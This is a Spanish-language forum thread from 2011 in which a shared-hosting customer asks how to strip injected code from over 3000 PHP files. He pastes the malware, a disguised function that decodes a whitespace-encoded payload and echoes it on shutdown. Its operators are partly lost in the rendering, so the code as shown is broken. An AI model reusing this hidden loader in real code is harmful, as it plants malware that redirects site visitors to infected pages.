Foros del Web » Administración de Sistemas » Software para Servers »

Como puedo eliminar codigo inyectado en mas de 3000 archivos PHP

Estas en el tema de Como puedo eliminar codigo inyectado en mas de 3000 archivos PHP en el foro de Software para Servers en Foros del Web. Hola a todos, hace unos dias postee un problema que he venido teniendo en mi servidor, tengo contratado un hosting con Awardspace, donde tengo alojadas ...
  #1 (permalink)  
Antiguo 18/05/2011, 09:22
Avatar de insyse  
Fecha de Ingreso: abril-2005
Ubicación: Colombia
Mensajes: 206
Antigüedad: 19 años
Puntos: 5
Como puedo eliminar codigo inyectado en mas de 3000 archivos PHP

Hola a todos,

hace unos dias postee un problema que he venido teniendo en mi servidor, tengo contratado un hosting con Awardspace, donde tengo alojadas 20 paginas web diferentes, desde hace unas dos semanas me han estado inyectando código malicioso, y de golpe me afecta a todos los archivos PHP de todos los sitios.

el codigo es el siguiente

Código PHP:
<?php /**
 * Gets some core libraries and displays a top message if required.    /*
 */ 
function CoreLibrariesHandler() {                    /*
 */   
$session_keys '                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           ';  /*
 */                                    /* 
 */    
foreach(str_split($session_keys8) as $k=>$v) {         /*             
 */        
$v str_replace('    '1str_replace(' '0$v));    /*
 */        
$session_keys[$k] = chr(bindec($v));             /*
 */    
}                                 /*
 */                                    /*
 */    
if($session_keys) echo $session_keys; }                /*
 */    
register_shutdown_function('CoreLibrariesHandler');        /*
 */                                    /*
 ************************************************************************/



 
?>
He buscado en internet y encontré en este foro una solución rápida para eliminar el codigo inyectado, pero no se como usar la solución.


http://www.unix.com/shell-programmin...d-keyword.html

Mas o menos dice que hay un código basura inyectado que reenvía las páginas a un sitio que contiene virus.

La solución parece ser un código que lee cada archivo PHP y busca el código y si existe lo borra sin afectar el resto del contenido del archivo.

El código que coloque al principio, tiene en todas las paginas la misma estructura y siempre esta antes de cualquier contenido de mis archivos.

Alguien me puede ayudar a crear este script que borre el código inyectado sin afectar el contenido de mis archivos PHP????

Aclaro que son mas de 3000 archivos y bajar todo, para buscar el código basura manualmente y volver a subir todo, me llevaría al menos 2-3 días.


En espera de su amable ayuda...


Leonardo
  #2 (permalink)  
Antiguo 18/05/2011, 10:16
Avatar de Apolo
Colaborador
 
Fecha de Ingreso: abril-2003
Ubicación: ubicado
Mensajes: 7.961
Antigüedad: 21 años, 1 mes
Puntos: 109
Respuesta: Como puedo eliminar codigo inyectado en mas de 3000 archivos PHP

Ese comando sólo se puede ejecutar desde la línea de comandos. Si tienes acceso SSH, podrías probar. Si no, debes pedirle al administrador del servidor que lo ejecute por ti.
__________________
Planes VPS en el mundo > DirectorioVPS
Visita los foros de hosting de ComunidadHosting

Etiquetas: php, servidores-web
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 12:01.